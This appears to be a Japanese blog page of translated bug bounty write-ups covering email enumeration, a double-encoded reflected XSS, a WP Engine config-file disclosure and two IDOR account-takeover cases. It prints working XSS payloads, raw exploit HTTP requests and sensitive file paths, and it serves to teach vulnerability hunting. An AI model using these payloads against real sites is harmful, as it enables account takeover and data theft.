Shikata Ga Nai

Private? There is no such things.

$250 for Email account enumeration using “NameToMail” toolを訳してみた

Hello there, ('ω')ノ

 

「NameToMail」ツールを使用した電子メール アカウントの列挙を。

 

脆弱性

 ユーザ名の列挙

 

記事:

 https://medium.com/@snoopy101/250-for-email-account-enumeration-using-nametomail-tool-cce02a17ade8

 

今回のサイトを「target.com」と呼ぶことに。

サブドメインの 1 つをテストしているときに。

パスワードのリセット機能が注意を引いて。

 

 

Burp Suite でリクエストを取得しましたが、応答は奇妙で。

 

 

有効なメールを送信すると、別の応答が表示されるということで。

そして、電子メールを列挙することに。

しかし、次のような会社の可能性のあるメールを生成する必要があり。

 

name@target.com
firstname-lastname@target.com
FIRSTNAME_Lastname@target.com
test@target.com
dev@target.com

 

これは、特にバグ ハンターにとって明らかに時間がかかりすぎるので。

NameToMailで、指定された名前のリストから会社/Web サイトの。

電子メールを生成することに。

 

https://github.com/ali01imani01/NameToMail

 

 

NameToMail は、70 以上の異なる方法で名前のリストから電子メールを生成して。

たとえば、「Charlie Brown」という単一の名前を考えてみると。

 

charlie-brown@target.com
charlie@target.com
brown@target.com
CHARLIE-BROWN@target.com
CHARLIE@target.com
BROWN@target.com
Charlie-Brown@target.com
Charlie@target.com
Brown@target.com
Charlie-brown@target.com
brown-charlie@target.com
BROWN-CHARLIE@target.com
Brown-Charlie@target.com
Brown-charlie@target.com
c-brown@target.com
charlie-b@target.com
C-BROWN@target.com
CHARLIE-B@target.com
C-brown@target.com
c-BROWN@target.com
c-Brown@target.com
C-Brown@target.com
charlie-B@target.com
CHARLIE-b@target.com
Charlie-B@target.com
Charlie-b@target.com
charlie_brown@target.com
charlie@target.com
brown@target.com
CHARLIE_BROWN@target.com
CHARLIE@target.com
BROWN@target.com
Charlie_Brown@target.com
Charlie@target.com
Brown@target.com
Charlie_brown@target.com
brown_charlie@target.com
BROWN_CHARLIE@target.com
Brown_Charlie@target.com
Brown_charlie@target.com
c_brown@target.com
charlie_b@target.com
C_BROWN@target.com
CHARLIE_B@target.com
C_brown@target.com
c_BROWN@target.com
c_Brown@target.com
C_Brown@target.com
charlie_B@target.com
CHARLIE_b@target.com
Charlie_B@target.com
Charlie_b@target.com
charlie.brown@target.com
charlie@target.com
brown@target.com
CHARLIE.BROWN@target.com
CHARLIE@target.com
BROWN@target.com
Charlie.Brown@target.com
Charlie@target.com
Brown@target.com
Charlie.brown@target.com
brown.charlie@target.com
BROWN.CHARLIE@target.com
Brown.Charlie@target.com
Brown.charlie@target.com
c.brown@target.com
charlie.b@target.com
C.BROWN@target.com
CHARLIE.B@target.com
C.brown@target.com
c.BROWN@target.com
c.Brown@target.com
C.Brown@target.com
charlie.B@target.com
CHARLIE.b@target.com
Charlie.B@target.com
Charlie.b@target.com

 

下記が、生成されたメールの数で。

 

 

この単純なスクリプトは何年も前に書いたもので、とても役に立っていて。

あとは、crunchbase.com や theHarvester ツール、その他のサイトやツールを。

使用して、「target.com」に関連する連絡先を見つけるだけで。

 

https://www.crunchbase.com/

 

https://github.com/laramies/theHarvester

 

下記は、crunchbaseで。

 

最後に、スクリプトを実行したところ、有効なメールがいくつか見つかって。

下記は、有効なメールで。

 

 

応答が変更されていることに注意して。

 

Best regards, (^^ゞ

Reflected XSS using Double Encodingを訳してみた

Hello there, ('ω')ノ

 

Double Encoding を使用した反映された XSSを。

 

脆弱性

 XSS

 

記事:

 https://infosecwriteups.com/got-another-xss-using-double-encoding-e6493a9f7368

 

Double Encoding の攻撃手法は、ユーザ要求パラメータを 16 進数形式で。

2 回エンコードして、セキュリティ制御をバイパスしたり。

アプリケーションから予期しない動作を引き起こしたりすることで構成され。

これが可能なのは、Web サーバがクライアント リクエストを。

多くのエンコードされた形式で受け入れて処理するためで。

 

入力フィールドがある場合、クロスサイト スクリプティングの可能性があり。

現在、非常に基本的な方法を使用しながら、バグを見つけて。

より多くの方法とバグを学習して自分自身を改善しようとしていて。

いくつかのターゲットを調べて入力フィールド (検索ボックスなど) を。

テストしているときに、興味深い入力フィールドを取得し。

通常の入力を入力したところで。

下記が、検索バーで。

 

 


そしてソースコードをチェックを。


 

次に、一重引用符を追加しましたが、入力がフィルタリングされ。

hello1& に置き換えられ。

いくつかの場所で、ターゲット フィールドに「&」を使用して。

 

 

そこでURLエンコーディングを試しましたが、同じ出力が得られ。

これは、入力をデコードすることを意味して。

 

そこで、ダブルエンコーディングを使用することに。

ダブルエンコーディングを使用すると、ユーザ入力を 1 回だけ。

デコードするセキュリティ フィルターをバイパスでき。

2 番目のデコード プロセスは、エンコードされたデータを適切に。

処理するバックエンド プラットフォームまたはモジュールによって実行されますが。

対応するセキュリティ チェックは実施されておらず。

 

 

次に、基本的なペイロード「 ‘><script>alert(1)</script> 」を。

ダブルエンコードで試して。

 

 %2527%253E%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E

 

しかし、それはエラーとなり。

 

 

それを利用して悪用する入力タグの属性を検索して。

onfocus : onfocus イベントは、要素がフォーカスを取得したときに発生して。

 

 ‘ onfocus=’alert(1)’

 ⇩

 %2527%2520onfocus%253D%2527alert%25281%2529%2527%2520

 


検索バーをクリックすると、ポップアップ アラートが表示され。

 

 

しかし、オートフォーカスを使用して少し変更することを考え。

これにより、ページの読み込み時にテキスト フィールドが自動的にフォーカスされ。

ページ自体にアクセスしているときにポップアップ アラートが作成されて。

 

 ‘ onfocus=’alert(1)’ autofocus=’

 ⇩

 %2527%2520onfocus%253D%2527alert%25281%2529%2527%2520autofocus%253D%2527

 

 

他に次のようなペイロードを使用することもできて。

 

 ‘ onmouseover=’alert(1)’

 ⇩

 %2527%2520onmouseover%253D%2527alert%25281%2529%2527%2520

 

Best regards, (^^ゞ

Information Disclosure — My First Finding on Hackerone!を訳してみた

Hello there, ('ω')ノ

 

情報開示 — Hackerone に関する最初の発見!を。

 

脆弱性

 情報開示

 

記事:

 https://mehedishakeel.medium.com/information-disclosure-my-first-finding-on-hackerone-e572cc07babb

 

情報漏えいは、見つけるのはそれほど難しくありませんが。

ターゲットに大きな影響を与える可能性のある一種のバグで。

より少ない労力で非常に機密性の高い情報を取得できる場合があって。

 

今回は、このバグをどのように取得したか。

および使用したツールと手法について説明することに。

 

そのターゲット プログラム スコープでは、ドメインは 1 つしかなく。

それはプライベート プログラムで。

したがって、この記事に実際のドメインと会社名を含めることは許可されておらず。

ドメインを下記と呼ぶことに。

 

 https://mehedishakeel.com

 

Firefox ブラウザで Web サイトにアクセスし始め。

Wappalyzerという有名なアドオンがあり。

いくつかのページにアクセスした後、Wappalyzerをクリックすると。

WordPress と Wp-Engine を使用しているターゲット Web サイトが表示されて。

下記が、Wappalyzerの情報で。

 

 

それを取得した後、wpscan を実行する前に。

 

https://github.com/wpscanteam/wpscan

 

一般的なジューシーなファイル名「robots.txt」にアクセスすることを考え。

残念ながら、そのファイルには特別なものはなく。

/robots.txt ファイルで許可されていないすべての URL に必ずアクセスするように。

 

 https://mehedishakeel.com/robots.txt

 

 

robots.txt」ファイルに貴重なディレクトリとファイルのリストが表示されず。

機密性の高いディレクトリとファイルを探すことを考えたので。

dirsearch という名前のツールを起動し。

これは、dirb よりも高速にディレクトリと機密性の高いファイルを。

見つけるのに非常に便利なツールで。

 

 dirsearch -u https://mehedishakeel.com

 

https://salsa.debian.org/pkg-security-team/dirb

 

そこにファイル ディレクトリ名「_wpeprivate/config.json」があり。

これは、WPEngineを使用している WordPress Web サイトの宝庫の 1 つで。

下記は、dirsearchの出力で。

 

 

この URL をターゲット ドメインで開くと。

データベース全体のユーザ名とパスワードを取得して。

 

 https://mehedishakeel.com/_wpeprivate/config.json

 

「_wpeprivate/config.json」は、WPEngine の。

API キー、DB ユーザ名、DB パスワードなどを平文で明らかにして。

これが、hackerone の最初のバグを解決した方法で。

 

したがって、WordPress と WPengine でターゲットを取得したときはいつでも。

常に _wpeprivate/config.json" ファイルを探すように。

 

Best regards, (^^ゞ

Hello there, ('ω')ノ

 

2500ドル相当のアカウント乗っ取りを。

 

脆弱性

 アカウントの乗っ取り

 IDOR

 

記事:

 https://gonzxph.medium.com/account-takeover-worth-of-2500-e643661f94e9

 

今回は、簡単な IDOR バイパスでアカウントの乗っ取りにつながることで。

2,500 ドルを稼いだ方法を紹介することに。

高校を卒業した後、1 か月の休暇を取り、その空き時間を使って。

1 つのプログラムに集中してハンティングすることに。

プログラムの名前を開示することはできないため。

開示ポリシーに従って redacted.com と呼ぶことに。

 

redacted.com では、組織を作成し、その組織のメンバーを追加でき。

組織にメンバーを追加するには 2 つのオプションがあり。

まず、メールアドレスを使用して招待することで、メンバーを追加でき。

2 つ目は、メンバーの名前だけを電子メールなしで追加することで。

これはデモ ユーザと呼ばれ。

デモ ユーザを追加した後、それを編集し。

電子メール アドレスを追加して実際のユーザにすることができて。

下記で、メールアドレスを使用してメンバーを追加して。

 


下記で、名前を指定してメンバーを追加して。(デモ ユーザ)

 

 

デモユーザを作成した後、メールアドレスを追加して。

組織内の実際のユーザにしましたが、Burp Suite リクエスト履歴に移動すると。

このリクエストに気づき。

 

POST /<organizationID>/addEmail/<DemoUserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/

{
  "email":"attacker@email.com"
}

 

<DemoUserID> を組織内の任意のメンバーの UserID に変更するとどうなるか。

 

HTTP/2 403 Forbidden
Date: Tue, 15 Nov 2022 14:44:25 GMT
Content-Type: application/json
Content-Length: 76
Pragma: no-cache
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff


{
  "message":"You don't have access to this.",
}

 

バイパスを何時間も探した後、機能するものを見つけ。

最終的にバイパスされたのはこのようなもので。

 

POST /<organizationID>/addEmail/<DemoUserID>/../<UserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/

{
  "email":"attacker@email.com"
}

 

リクエストの応答:

HTTP/2 200 OK
Date: Tue, 15 Nov 2022 14:43:32 GMT
Content-Type: application/json
Content-Length: 2
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff

{
}

 

関連付けられた <UserID> の電子メール アドレスは。

攻撃者が制御する電子メールに変更されて。

 

Best regards, (^^ゞ

The Story Of A Strange / Stored IDOR.を訳してみた

Hello there, ('ω')ノ

 

ストレンジ/ストアド IDOR の物語を。

 

脆弱性

 IDOR

 

記事:

 https://medium.com/@hf6452/a-story-of-a-strange-stored-idor-b6f2769bb6cb

 

今回は、銀行のウェブサイトを開いて、自分でもわからないことを検索し始め。

サイトで 2 時間かけてすべての機能とすべてのパラメータをテストしたところ。

3 つの脆弱性 (銀行のメール サービスへのアクセス、OTP 検証バイパス、XSS) が。

見つかり。

 

その後、otp をバイパスできたので、銀行の Web サイトで偽の番号を使用して。

デジタル アカウントを作成し、プロファイルを開いて IDOR のチェックを開始し。

Burp Suiteを開いてページを更新し、プロファイルのリクエストを取得して。

IDOR に対して脆弱なパラメータがたくさんあることがわかったので。

通常はリクエストをリピータに送信し、その時点ですべてのパラメータのテストを。

開始しましたが、何も見つからず。

 

その後、もう一度確認を開始しましたが、プロファイルから姓を削除して。

[保存] ボタンをクリックし、リクエストを傍受して。

_id=1211221 などのパラメータ値を _id=1211220 に変更し。

リクエストを転送した理由がわからず。


プロフィールの姓が他の名前で自動的に入力された方法がわからないため。

結果は衝撃的で。

次にもう一度、姓を削除してから、リクエストをインターセプトせずに。

[保存] ボタンをクリックしてみると姓が空白のようなエラーが表示され。

次に、もう一度[保存] ボタンをクリックしてリクエストを傍受すると。

今度は id パラメータを _id=1211219 に変更し、再び自動的に入力されて。

 

このようなIDORを経験したことがなかったので、その時はとても奇妙で。

すべての領域を空白にして、id パラメータを変更するだけでよいので。

他のユーザのデータが簡単に表示されて。

しばらくして、他のエンドポイントが CC データなどの他の情報を。

漏えいしているのを発見して。

 

これは IDOR を見つける完全なストーリーで。

他のユーザのプロファイルにデータを保存でき、XSSエスカレーションでき。

彼らのデータを自分のプロファイルに保存することもできたので。

非常に奇妙で。

 

Best regards, (^^ゞ